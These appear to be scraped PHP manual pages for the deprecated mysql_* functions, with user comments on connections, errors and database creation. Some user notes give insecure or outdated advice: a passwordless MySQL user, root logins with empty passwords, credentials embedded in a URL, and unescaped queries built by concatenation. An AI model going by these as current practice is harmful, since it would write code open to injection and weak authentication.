      $err   = mysql_error();
      if( $err != "" ) echo "error=$err  ";

      if( $nocon != "nocon" )
        mysql_close();
      return $result;
  }

Here's a related mysql_pconnect trivia question:
http://www.codesplunk.com/nr/questions/php17.html
Boris K 25-Jul-2008 05:41
Coderlit and angelo,

this may be the solution:

<?php
    if (!isset($g_link)) {
        $g_link = false;
    }

    function GetMyConnection()
    {
        global $g_link;
        if( $g_link )
            return $g_link;
        $g_link = mysql_connect( 'localhost', 'dbuser', 'dbpass') or die('Could not connect to mysql server.' );
        mysql_select_db('wordpress', $g_link) or die('Could not select database.');
        return $g_link;
    }

    function CleanUpDB()
    {
        global $g_link;
        if( $g_link != false )
            mysql_close($g_link);
        $g_link = false;
    }

?>
arithmetric at gmail dot com 25-Mar-2008 07:59
If you are trying to open multiple, separate MySQL connections with the same MySQL user, password, and hostname, you must set $new_link = TRUE to prevent mysql_connect from using an existing connection.

For example, you are opening two separate connections to two different databases (but on the same host, and with the same user and password):

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname2, $db2);

At this point, both $db1 and $db2 will have selected the database named by $dbname2.

The workaround is to require that the second MySQL connection is new:

$db1 = mysql_connect($dbhost, $dbuser, $dbpass);
$rv = mysql_select_db($dbname1, $db1);
$db2 = mysql_connect($dbhost, $dbuser, $dbpass, TRUE);
$rv = mysql_select_db($dbname2, $db2);

Now, $db1 should have selected $dbname1, and $db2 should have selected $dbname2.

This has been documented on the mysql_select_db page as well.

Note: This occurs only when the server, username, and password parameters are identical for each mysql_connect statement.
aeolianmeson at blitzeclipse dot com 03-Mar-2008 09:15
Recently, I saw an obscure problem where I could connect to MySQL from the PHP via Apache and MySQL via the MySQL console, and could not connect via the PHP-CLI. This was in Windows (XP). I usually use MySQLi extension, but also tried MySQL, and both refused to work.

I restarted the service multiple times, and the PHP-CLI still would not connect.

This eventually cleared up.

I made sure to stop the service. Then, I downloaded a zipped binary-package from dev.mysql.com and started the server a few times from the commandline (mysqld/mysqld-nt, where mysqld-nt is tuned specifically for Windows) and stopped it ("mysqladmin shutdown"). I was then able to successfully connect from the PHP-CLI ("php -r "mysql_connect('localhost', 'root', ''); ").

Making sure it was stopped, I started the regular server from the commandline, and that was then successful. I then stopped it and started it via the Services panel, and everything still worked.

I'm assuming that when the service was restarted initially, there was a component that had died and refused to be shutdown even though the service appeared to be stopped, but shutting it down via mysqladmin killed everything entirely.
dan at novapulsar dot com 11-Feb-2008 08:24
[EDIT by danbrown AT php DOT net: The issue this user is illustrating is a common problem when dealing with multiple databases from PHP.  Note his comments at the end of the code for an explanation.]

Looks like I learned this the hard way:

<?php

//establish connection to master db server
mysql_connect (DB_HOST, DB_USER, DB_PASSWORD);
mysql_select_db (DB_NAME);

//establish connection to read-only slave cluster
$objMySQL_Read = mysql_connect (SLAVE_DB_HOST, SLAVE_DB_USER, SLAVE_DB_PASSWORD);
mysql_select_db (DB_NAME, $objMySQL_Read);

$strSQL = "SELECT col1,col2 FROM "  . DB_NAME . "." . "tbl1 WHERE 1=1";

$objRS = mysql_query ($strSQL, $objMySQL_Read); //returns data from slaves

$strSQL = "INSERT INTO " . DB_NAME . "." . "tbl1 (col1,col2) VALUES (val1,val2)";

mysql_query ($strSQL);

//expected behavior, to insert the last statement into the master db, since it doesn't reference the read-only resource explicitly. instead, it inserts the record into the last connection, even though it shouldn't, since the last connection is not a global/anonymous connection like the first one, it's $objMySQL_Read.

//you'll get out of sync db's across your cluster unless you explicitly define all connection resources

?>
Steve 25-Dec-2007 12:32
The too many connections issue can be due to several problems.

1. you are using pconnect. This can tie up many connections and is not really needed for MySQL as new connections are really fast.

2. Apache children are hanging around for too long - combine this with pconnect and you have recipe for disaster.

Suggestions: reduce the amount of time apache child processes stay connected to the client and how many connections before they are killed off. And don't use pconnect.
Ignacio Casinelli Esviza 20-Oct-2007 07:51
Sometimes, I want that MySQL service start automatically when my app need it. This is specially true if you work in a development PC and/or in an small intranet environment.

You can do something like this: if the mysql_connect() function returns FALSE, try to force the initialization of the MySQL service!

For example, under Windows:

<?php

$link = @mysql_connect($server,$user,$pass);
if (empty($link)){
    @exec("%SystemRoot%\\system32\\net.exe start mysql");
    sleep(5);
    $link = @mysql_connect($servidor,$usuario,$clave);
}

?>

In Linux of course you can try "/etc/init.d/mysqld start" but you will need special permissions.

Regards.
Peter Robinett 02-Oct-2007 03:20
The use of mysql connections can become tricky with objects. I am using mysql_connect() in a database class I wrote and the class destructor calls mysql_close. Because I have several of these database objects, mysql_connect reuses existing connections. This is fine except when the script reaches the end of execution and PHP's garabage collection calls all the objects' __destruct() functions. mysql_close() throws a warning that the connection is invalid, in my case for one object. This is happening with objects which use an existing connection, as the connection has already been closed. I solved the problem by forcing mysql_connect() to create a new connection each time. This is not efficient but is sufficient for my purposes for now.

I wouldn't say this is a bug per-se, but it's something to look out for. I imagine using mysqli is the ultimate solution...
martin 09-Aug-2007 04:35
MYSQL_CLIENT_SSL is not working, use MySQLi and mysqli->ssl_set()
jslakva at gmail dot com 08-Apr-2007 03:05
if between first and second call with same arguments there was another call with another argument, initial connection link is not reused, but new connection is created instead, regardless of new_link argument.

for example, here only one single link will be opened and then reused:
<?php
$link1 = mysql_connect("localhost");
$link2 = mysql_connect("localhost");
?>

and here _three_ separate links will be opened:
<?php
$link1 = mysql_connect("localhost");
$link3 = mysql_connect("127.0.0.1");
$link2 = mysql_connect("localhost");
?>

so if you wanted to switch between connections just by call to mysql_connect, and rely on its internal link caching, you can be wasting your database connections.
angelo [at] mandato <dot> com 19-Mar-2007 10:07
The post from 'Graham_Rule at ed dot ac dot uk' should include the following WARNING:

WARING: THE VALUES OF THESE DIRECTIVES WILL BE EXPOSED IF ANY OF THE CODE INCLUDES THE phpinfo() FUNCTION.

The phpinfo() function will print these values clear as day.  I highly suggest against this method of storing MySQL authentication information.

I recommend creating connect and cleanup functions in a separate include file.  If security is a concern, locate the include file outside of your web root folder.

<?php
    $g_link = false;

    function GetMyConnection()
    {
        global $g_link;
        if( $g_link )
            return $g_link;
        $g_link = mysql_connect( 'host.name', 'user', 'password') or die('Could not connect to server.' );
        mysql_select_db('database_name', $g_link) or die('Could not select database.');
        return $g_link;
    }

    function CleanUpDB()
    {
        global $g_link;
        if( $g_link != false )
            mysql_close($g_link);
        $g_link = false;
    }

?>

Simply include your connnection.php file in your script and anywhere you use the mysql_query() function include a call to the GetMyConnection() function.

<?php
    $res = mysql_query("SELECT ...", GetMyConnection() );
?>
sky dot sama dot remove dot dots at Gmail dot com 12-Dec-2006 05:42
In case anyone else is getting "Client does not support authentication protocol requested by server; consider upgrading MySQL client" error. The problem is the new password hashing method used by MySQL >= 4.1 mentioned below.

Either update your PHP to v5 where the new password hashing is supported or use old_password() in MySQL 4.1.

FROM: http://www.digitalpeer.com/id/mysql

UPDATE mysql.user SET password=old_password("youroldhashpassword") WHERE user ='youruserid' and host ='yourhost'

then do

FLUSH PRIVILEGES
Graham_Rule at ed dot ac dot uk 10-Nov-2006 10:43
The addition of entries to httpd.conf to stop .inc files being served by Apache is certainly useful and to be recommended.

But it doesn't change the fact that these files have to be readable by Apache so that the PHP processor can get at them.

As long as your don't have multiple, possibly untrusted, users on your machine then that's OK.  But when you are running a large multi-user service with thousands of users its always possible that one of them will look at your .inc files and take a note of the passwords you have in them.  They could even copy them into their own scripts and modify your databases!

Even if local users are trusted, there is always the possibility of a rogue script (PHP or some nastier language) being installed by an ignorant user.  That script might then read your .inc files (whether or not they are in the web publishing tree) and expose your password.
brinca at substancia dot com 09-Nov-2006 04:43
If you prefer to use a hostname instead of an ip on your connection string in a script (to be able to change the ip at will), but don't want the overhead of dns lookups, just add it to your /etc/hosts file (in windows: %WINDIR%/system32/drivers/etc/hosts).

For example, add the following to your hosts file (changing the bogus ip to your server's real ip):

123.123.123.123   mysqlserver1

Note: On linux, make sure you have "order: hosts,bind" on your /etc/host.conf file.

On a script, make the mysql connection like so:

<?
  $sid = mysql_connect ("mysqlserver1", "user", "pass");
?>

Note: this sample is in php, but it can be any other programming language (just type "ping mysqlserver1" on a prompt, on your server)

And there you have it! If your server ever gets assigned a different ip, just update the hosts file with the new one (every script will work as-is, even if under different hostnames).
rui dot batista at netcabo dot pt 31-May-2006 05:42
Ever wonder what "default username" is?
<?php
$link = mysql_connect() or die(mysql_error());
$result = mysql_query("SELECT SESSION_USER(), CURRENT_USER();");
$row = mysql_fetch_row($result);
echo "SESSION USER: ", $row[0], "<br>\n";
echo "CURRENT USER: ", $row[1], "<br>\n";
?>
Both are ODBC@localhost in my win2k install, so my advice for windows is:
- create a MySQL user named ODBC with no password
- add localhost to ODBC user [right-click ODBC]
- set schema previleges to ODBC@localhost
- use mysql_connect() with no parms, or do not use ;)
This turns to work also with odbc_connect:
odbc_connect("myDSN", "", "")
25-Jun-2005 12:18
connect to mysql via named pipe under windows :

in my.ini, add this:

[mysqld]
enable-named-pipe

then connect to the server, then connect to mysql using

mysql_connect('.')
chaoscontrol_hq at yahoo dot com 23-Aug-2004 11:10
In MySQL4.1 and later, the default password hashing format has changed making it incompatible with 3.x clients.
I found out mysql_connect() works on server versions >= 4.1 when your MySQL user password is blank because password authentication isn't done in that case, otherwise you need to use another connection method (e.g. mysqli).
Also if you are using old MySQL tables on a new server (i.e. the passwords are stored in the old format), then the server will use the old auth method automatically and this function should work in all cases.
Hopefully this will help someone, it had me confused for a while because some of the users on my 4.1 server could connect and some couldn't.
martinnitram at excite dot com 31-Oct-2003 11:22
to use load data local infile function from mysql (at mysql 4.0.16, php 4.3.3), set fifth parameter of mysql_connect() to CLIENT_LOCAL_FILES(128), which based on MYSQL C API ( also mysql server support load file, check by "show variables like 'local_infile' ")

Thank  'phpweb at eden2 dot com' to point this out
Graham_Rule at ed dot ac dot uk 14-May-2003 05:43
Another solution to the security problems of putting usernames and passwords into scripts. I haven't found this documented anywhere else so thought I'd suggest it for the online documentation. ........

Don't put passwords for mysql into scripts which may be read by any user on the machine.  Instead put them into an Apache configuration file and make sure that it is not world-readable. (Apache reads its main config files as root.)

For example, add this to your httpd.conf (and chmod it to 600 or 660) then tell your apache to reload itself (apachectl graceful).

<Directory /var/www/html/mydatabase>
    php_value mysql.default_user fred
    php_value mysql.default_password secret
    php_value mysql.default_host server.example.com
</Directory>

Then all you need in your PHP code is

$handle = mysql_connect() or die(mysql_error());

The passwords etc will only be picked up by scripts running in the named directory (or a sub-directory).  The same may be done for virtualhosts etc.

If you don't want to keep reloading your Apache server then you ay test things putting the php_value directives into a (world readable) .htaccess file. (Clearly not for production use.)

If you need to debug the values that are being supplied (or not) then use this snippet:

@syslog(LOG_DEBUG, "Using user=".ini_get("mysql.default_user").
            " pass=".ini_get("mysql.default_password").
            " host=".ini_get("mysql.default_host"));

(This assumes that you are not running in 'safe_mode' and that you are on a unix of some sort.)
amn -at- frognet.net 12-Mar-2003 07:40
Just in case you didn't know. You can use mysql_connect in a function to connect to a database and the connection is a super-global... meaning you can use mysql_query in other functions or in no function at all and PHP will use the connection that you opened. This is a handy bit of knowledge that helps if you have a large site with lots of scripts. If you create one function to connect to a db, and call that function in all your scripts, it makes for easier code maintenance since you only have to update one line of code to change your mysql connection instead of updating all your scripts individually.


Create a MySQL database

  • « mysql_connect
  • mysql_data_seek »
  • PHP Manual
  • MySQL Functions
  • Create a MySQL database

mysql_create_db

(PHP 4, PHP 5)

mysql_create_db — Create a MySQL database

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_query()
  • PDO::query()

Description

bool mysql_create_db ( string $database_name [, resource $link_identifier = NULL ] )

mysql_create_db() attempts to create a new database on the server associated with the specified link identifier.

Parameters

database_name

The name of the database being created.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_create_db() alternative example

The function mysql_create_db() is deprecated. It is preferable to use mysql_query() to issue an sql CREATE DATABASE statement instead.

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}

$sql = 'CREATE DATABASE my_db';
if (mysql_query($sql, $link)) {
    echo "Database my_db created successfully\n";
} else {
    echo 'Error creating database: ' . mysql_error() . "\n";
}
?>

The above example will output something similar to:

Database my_db created successfully

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_createdb()

Note:

This function will not be available if the MySQL extension was built against a MySQL 4.x client library.

See Also

  • mysql_query() - Send a MySQL query
  • mysql_select_db() - Select a MySQL database

User Contributed Notes

zubrag 29-Aug-2006 12:03
mysql_create_db function will not work on cPanel hosting. If you need to create database from your PHP script on cPanel hosted server then you'll need to use cPanel interface. Database creation code would look like (calling cPanel's adddb function): http://USER:PASS@HOST:2082/frontend/SKIN/sql/adddb.html?db=DB

You can download ready-made sample php script from http://www.zubrag.com/scripts/cpanel-database-creator.php
omer 21-Jun-2005 02:42
for MySQL4.1 lib users;

as noted the function is a no-go for MySQL4.1 libs.  While i do not know the logic behind this i was relieved to see that

mysql_connect ("localhost","$user","$password")
$soru = 'CREATE DATABASE '.$dbname;
mysql_query($soru);

worked just fine...


Move internal result pointer

  • « mysql_create_db
  • mysql_db_name »
  • PHP Manual
  • MySQL Functions
  • Move internal result pointer

mysql_data_seek

(PHP 4, PHP 5)

mysql_data_seek — Move internal result pointer

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_data_seek()
  • PDO::FETCH_ORI_ABS

Description

bool mysql_data_seek ( resource $result , int $row_number )

mysql_data_seek() moves the internal row pointer of the MySQL result associated with the specified result identifier to point to the specified row number. The next call to a MySQL fetch function, such as mysql_fetch_assoc(), would return that row.

row_number starts at 0. The row_number should be a value in the range from 0 to mysql_num_rows() - 1. However if the result set is empty (mysql_num_rows() == 0), a seek to 0 will fail with a E_WARNING and mysql_data_seek() will return FALSE.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

row_number

The desired row number of the new result pointer.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_data_seek() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
$db_selected = mysql_select_db('sample_db');
if (!$db_selected) {
    die('Could not select database: ' . mysql_error());
}
$query = 'SELECT last_name, first_name FROM friends';
$result = mysql_query($query);
if (!$result) {
    die('Query failed: ' . mysql_error());
}
/* fetch rows in reverse order */
for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
    if (!mysql_data_seek($result, $i)) {
        echo "Cannot seek to row $i: " . mysql_error() . "\n";
        continue;
    }

    if (!($row = mysql_fetch_assoc($result))) {
        continue;
    }

    echo $row['last_name'] . ' ' . $row['first_name'] . "<br />\n";
}

mysql_free_result($result);
?>

Notes

Note:

The function mysql_data_seek() can be used in conjunction only with mysql_query(), not with mysql_unbuffered_query().

See Also

  • mysql_query() - Send a MySQL query
  • mysql_num_rows() - Get number of rows in result
  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_object() - Fetch a result row as an object

User Contributed Notes

saeed at photobookworldwide dot com 26-Nov-2011 03:30
Here, you can find the current pointer of selected row easily:

<?php
//selected row with id=4
$id    =    "4";

$result    =    mysql_query("select * from jos_components");

$num    =    mysql_num_rows($result);

for($i=0;$i<$num;$i++){

    mysql_data_seek($result,$i);

    $row    =    mysql_fetch_assoc($result);

    if($row['id']    ==    $id){

        $pointer    =    $i;
    }

}

// current pointer for selected row
echo $pointer;
?>
Daniel 28-Aug-2008 11:59
Here is a simple function to "peek" at the position of the internal pointer in a query result:

<?php
function mysql_pointer_position($result_set) {
        $num_rows = mysql_num_rows($result_set);
        $i = 0;
        while($result = mysql_fetch_array($result_set)) {
            $i++;
        }
        $pointer_position = $num_rows - $i;

//Return pointer to original position
        if($pointer_position <= $num_rows - 1) {
            mysql_data_seek($result_set, $pointer_position);
        }
        return $pointer_position;
    }
?>
30-May-2006 10:52
A helpful note about the 'resource' data type.

Since the 'resource' variable is pointing to a row in a result set at any given time, you can think of it as being passed to this function by reference every time you pass it or assign it to a variable.

<?

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

while ($row = mysql_fetch_assoc($result)) {
    // This code will never run because the 'resource' variable is pointing past the end of the result set,
    // even though it was *not* assigned by reference to $result2.
}

?>

Therefore, the following snipits are functionally identical:

<?

// Start snipit 1

$sql = "SELECT * from <table>";
$result = mysql_query($sql);

while ($row = mysql_fetch_assoc($result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($result)) {
    // do other stuff with $row
}

// Start snipit 2

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($temp_result)) {
    // do other stuff with $row
}

?>
arturo_b at hotmail dot com 21-Apr-2005 05:53
hello, this script would be easy to understand for those that are novice in php whose want to understand about this function:

the table "user" have 2 columns "id" and "name".
"user" content:
position 0: "id"=195342481 "name"='Arthur'
position 1: "id"=179154675 "name"='John'
>>position 2<<: "id"=157761949 "name"='April' >>third row<<
position 3: "id"=124492684 "name"='Tammy'
position 4: "id"=191346457 "name"='Mike'

<?php
  mysql_connect("localhost", "root")
  mysql_select_db("test");
  $sql = mysql_query("select * from user");
  mysql_data_seek($sql, 2);
  echo "<table border=1>";
  while ($row = mysql_fetch_row($sql)){
    echo "<tr><td>$row[0]</td><td>$row[1]</td></tr>";
  }
  echo "</tabla>";
?>

explanation:
mysql_data_seek move internal result pointer to the third row of table user. Thus mysql_fetch_row will begin by april�s row.
b.steinbrink at g m x dot de 09-Dec-2004 08:09
to kennethnash1134 at yahoo dot com

your loop can be done like this as well and i guess this is faster:

$r=mysql_query("select user,id,ip from accounts limit 10");

unset($users); // Just to be sure
while($users[] = mysql_fetch_row);
array_pop($users); // Drop the last entry which is FALSE
kennethnash1134 at yahoo dot com 26-Mar-2004 09:12
/*here is a nice function for converting a mysql result row set into a 2d array, a time saver if need small data from several rows, saves you from having to do Alot of queries... would be nice to have this built into PHP future versions :) */

// simple example query
$r=mysql_query("select user,id,ip from accounts limit 10");

//starts the for loop, using mysql_num_rows() to count total
//amount of rows returned by $r
for($i=0; $i<mysql_num_rows($r); $i++){
             //advances the row in the mysql resource $r
    mysql_data_seek($r,$i);
             //assigns the array keys, $users[row][field]
    $users[$i]=mysql_fetch_row($r);
}

//simple, hope someone can use it :)
// -Kenneth Nash


Retrieves database name from the call to mysql_list_dbs

  • « mysql_data_seek
  • mysql_db_query »
  • PHP Manual
  • MySQL Functions
  • Retrieves database name from the call to mysql_list_dbs

mysql_db_name

(PHP 4, PHP 5)

mysql_db_name — Retrieves database name from the call to mysql_list_dbs()

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • Query: SELECT DATABASE()

Description

string mysql_db_name ( resource $result , int $row [, mixed $field = NULL ] )

Retrieve the database name from a call to mysql_list_dbs().

Parameters

result

The result pointer from a call to mysql_list_dbs().

row

The index into the result set.

field

The field name.

Return Values

Returns the database name on success, and FALSE on failure. If FALSE is returned, use mysql_error() to determine the nature of the error.

Changelog

Version | Description
5.5.0 | The mysql_list_dbs() function is deprecated, and emits an E_DEPRECATED level error.

Examples

Example #1 mysql_db_name() example

<?php
error_reporting(E_ALL);

$link = mysql_connect('dbhost', 'username', 'password');
$db_list = mysql_list_dbs($link);

$i = 0;
$cnt = mysql_num_rows($db_list);
while ($i < $cnt) {
    echo mysql_db_name($db_list, $i) . "\n";
    $i++;
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_dbname()

See Also

  • mysql_list_dbs() - List databases available on a MySQL server
  • mysql_tablename() - Get table name of field

User Contributed Notes

There are no user contributed notes for this page.


Selects a database and executes a query on it

  • « mysql_db_name
  • mysql_drop_db »
  • PHP Manual
  • MySQL Functions
  • Selects a database and executes a query on it

mysql_db_query

(PHP 4, PHP 5)

mysql_db_query — Selects a database and executes a query on it

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_select_db() then the query
  • PDO::__construct()

Description

resource mysql_db_query ( string $database , string $query [, resource $link_identifier = NULL ] )

mysql_db_query() selects a database, and executes a query on it.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

database

The name of the database that will be selected.

query

The MySQL query.

Data inside the query should be properly escaped.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns a positive MySQL result resource to the query result, or FALSE on error. The function also returns TRUE/FALSE for INSERT/UPDATE/DELETE queries to indicate success/failure.

Changelog

Version | Description
5.3.0 | This function now throws an E_DEPRECATED notice.

Examples

Example #1 mysql_db_query() alternative example

<?php

if (!$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('mysql_dbname', $link)) {
    echo 'Could not select database';
    exit;
}

$sql    = 'SELECT foo FROM bar WHERE id = 42';
$result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

while ($row = mysql_fetch_assoc($result)) {
    echo $row['foo'];
}

mysql_free_result($result);

?>

Notes

Note:

Be aware that this function does NOT switch back to the database you were connected before. In other words, you can't use this function to temporarily run a sql query on another database, you would have to manually switch back. Users are strongly encouraged to use the database.table syntax in their sql queries or mysql_select_db() instead of this function.

See Also

  • mysql_query() - Send a MySQL query
  • mysql_select_db() - Select a MySQL database

User Contributed Notes

There are no user contributed notes for this page.


Drop (delete) a MySQL database

  • « mysql_db_query
  • mysql_errno »
  • PHP Manual
  • MySQL Functions
  • Drop (delete) a MySQL database

mysql_drop_db

(PHP 4, PHP 5)

mysql_drop_db — Drop (delete) a MySQL database

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • Execute a DROP DATABASE query

Description

bool mysql_drop_db ( string $database_name [, resource $link_identifier = NULL ] )

mysql_drop_db() attempts to drop (remove) an entire database from the server associated with the specified link identifier. This function is deprecated, it is preferable to use mysql_query() to issue an sql DROP DATABASE statement instead.

Parameters

database_name

The name of the database that will be deleted.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_drop_db() alternative example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}

$sql = 'DROP DATABASE my_db';
if (mysql_query($sql, $link)) {
    echo "Database my_db was successfully dropped\n";
} else {
    echo 'Error dropping database: ' . mysql_error() . "\n";
}
?>

Notes

Warning

This function will not be available if the MySQL extension was built against a MySQL 4.x client library.

Note:

For backward compatibility, the following deprecated alias may be used: mysql_dropdb()

See Also

  • mysql_query() - Send a MySQL query

User Contributed Notes

There are no user contributed notes for this page.


Returns the numerical value of the error message from previous MySQL operation

  • « mysql_drop_db
  • mysql_error »
  • PHP Manual
  • MySQL Functions
  • Returns the numerical value of the error message from previous MySQL operation

mysql_errno

(PHP 4, PHP 5)

mysql_errno — Returns the numerical value of the error message from previous MySQL operation

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_errno()
  • PDO::errorCode()

Description

int mysql_errno ([ resource $link_identifier = NULL ] )

Returns the error number from the last MySQL function.

Errors coming back from the MySQL database backend no longer issue warnings. Instead, use mysql_errno() to retrieve the error code. Note that this function only returns the error code from the most recently executed MySQL function (not including mysql_error() and mysql_errno()), so if you want to use it, make sure you check the value before calling another MySQL function.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the error number from the last MySQL function, or 0 (zero) if no error occurred.

Examples

Example #1 mysql_errno() example

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!mysql_select_db("nonexistentdb", $link)) {
    echo mysql_errno($link) . ": " . mysql_error($link). "\n";
}

mysql_select_db("kossu", $link);
if (!mysql_query("SELECT * FROM nonexistenttable", $link)) {
    echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
}
?>

The above example will output something similar to:

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

See Also

  • mysql_error() - Returns the text of the error message from previous MySQL operation
  • » MySQL error codes

User Contributed Notes

timstamp.co.uk 25-Jun-2007 04:51
If you are receiving errors like:
Warning: mysql_close(): 5 is not a valid MySQL-Link resource

Check that you are calling mysql_error() and mysql_errno() BEFORE you call mysql_close().
simon at paarlberg dot dk 13-Dec-2005 12:40
Function for creating unique md5 keys in a database. If there are duplets, then a new md5-key will be generated. For your use:

  function users_md5create($id){
    global $mysql_link;

    while ($done==0) {
      $md5key = md5(time().($id/2).$loop).md5(time().$id.$loop);
      $query = "INSERT INTO users_md5create SET md5key='$md5key', fkey='$id', created=UNIX_TIMESTAMP() ";
      $mysql_result = mysql_query($query, $mysql_link);
      if(mysql_errno($mysql_link)!=1062) $done=1;
      $loop++;
    }

    return($md5key);
  }
apoio at cyberspace dot org 30-Jun-2000 02:58
All mysqld error messages are located into the file /usr/local/share/mysql/english/errmsg.txt and listed in numerical order from 999 to 1175. You can change the output language as well, issuing the '-L spanish' option for example. See the manual for more details.


Returns the text of the error message from previous MySQL operation

  • « mysql_errno
  • mysql_escape_string »
  • PHP Manual
  • MySQL Functions
  • Returns the text of the error message from previous MySQL operation

mysql_error

(PHP 4, PHP 5)

mysql_error — Returns the text of the error message from previous MySQL operation

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_error()
  • PDO::errorInfo()

Description

string mysql_error ([ resource $link_identifier = NULL ] )

Returns the error text from the last MySQL function. Errors coming back from the MySQL database backend no longer issue warnings. Instead, use mysql_error() to retrieve the error text. Note that this function only returns the error text from the most recently executed MySQL function (not including mysql_error() and mysql_errno()), so if you want to use it, make sure you check the value before calling another MySQL function.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the error text from the last MySQL function, or '' (empty string) if no error occurred.

Examples

Example #1 mysql_error() example

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

mysql_select_db("nonexistentdb", $link);
echo mysql_errno($link) . ": " . mysql_error($link). "\n";

mysql_select_db("kossu", $link);
mysql_query("SELECT * FROM nonexistenttable", $link);
echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
?>

The above example will output something similar to:

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

See Also

  • mysql_errno() - Returns the numerical value of the error message from previous MySQL operation
  • » MySQL error codes

User Contributed Notes

Gerrit 31-Aug-2014 06:30
The following code returns two times the same error, even though I would have expected only one:

   $ conn = mysql_connect ('localhost', 'root', '');
   $ conn2 = mysql_connect ('localhost', 'root', '');

   mysql_select_db ('db1', $ conn);
   mysql_select_db ('db2', $ conn2);

   $ result = mysql_query ("select 1 from dual", $ conn);
   $ result2 = mysql_query ("select 1 from luad", $ conn2);

   echo mysql_error ($ conn) "<hr>".
   echo mysql_error ($ conn2) "<hr>".

The reason for this is that mysql_connect not working as expected a further connection returns. Since the parameters are equal, a further reference to the previous link is returned. So also changes the second mysql_select_db the selected DB of $conn to 'db2'.

If you change the connection parameters of the second connection to 127.0.0.1, a new connection is returned. In addition to the parameters new_link the mysql_connect() function to be forced.
Florian Sidler 02-Feb-2010 11:33
Be aware that if you are using multiple MySQL connections you MUST support the link identifier to the mysql_error() function. Otherwise your error message will be blank.

Just spent a good 30 minutes trying to figure out why i didn't see my SQL errors.
Pendragon Castle 13-Jan-2009 04:16
Using a manipulation of josh ><>'s function, I created the following. It's purpose is to use the DB to store errors. It handles both original query, as well as the error log. Included Larry Ullman's escape_data() as well since I use it in q().

<?php
function escape_data($data){
 global $dbc;
 if(ini_get('magic_quotes_gpc')){
  $data=stripslashes($data);
 }
 return mysql_real_escape_string(trim($data),$dbc);
}

function q($page,$query){
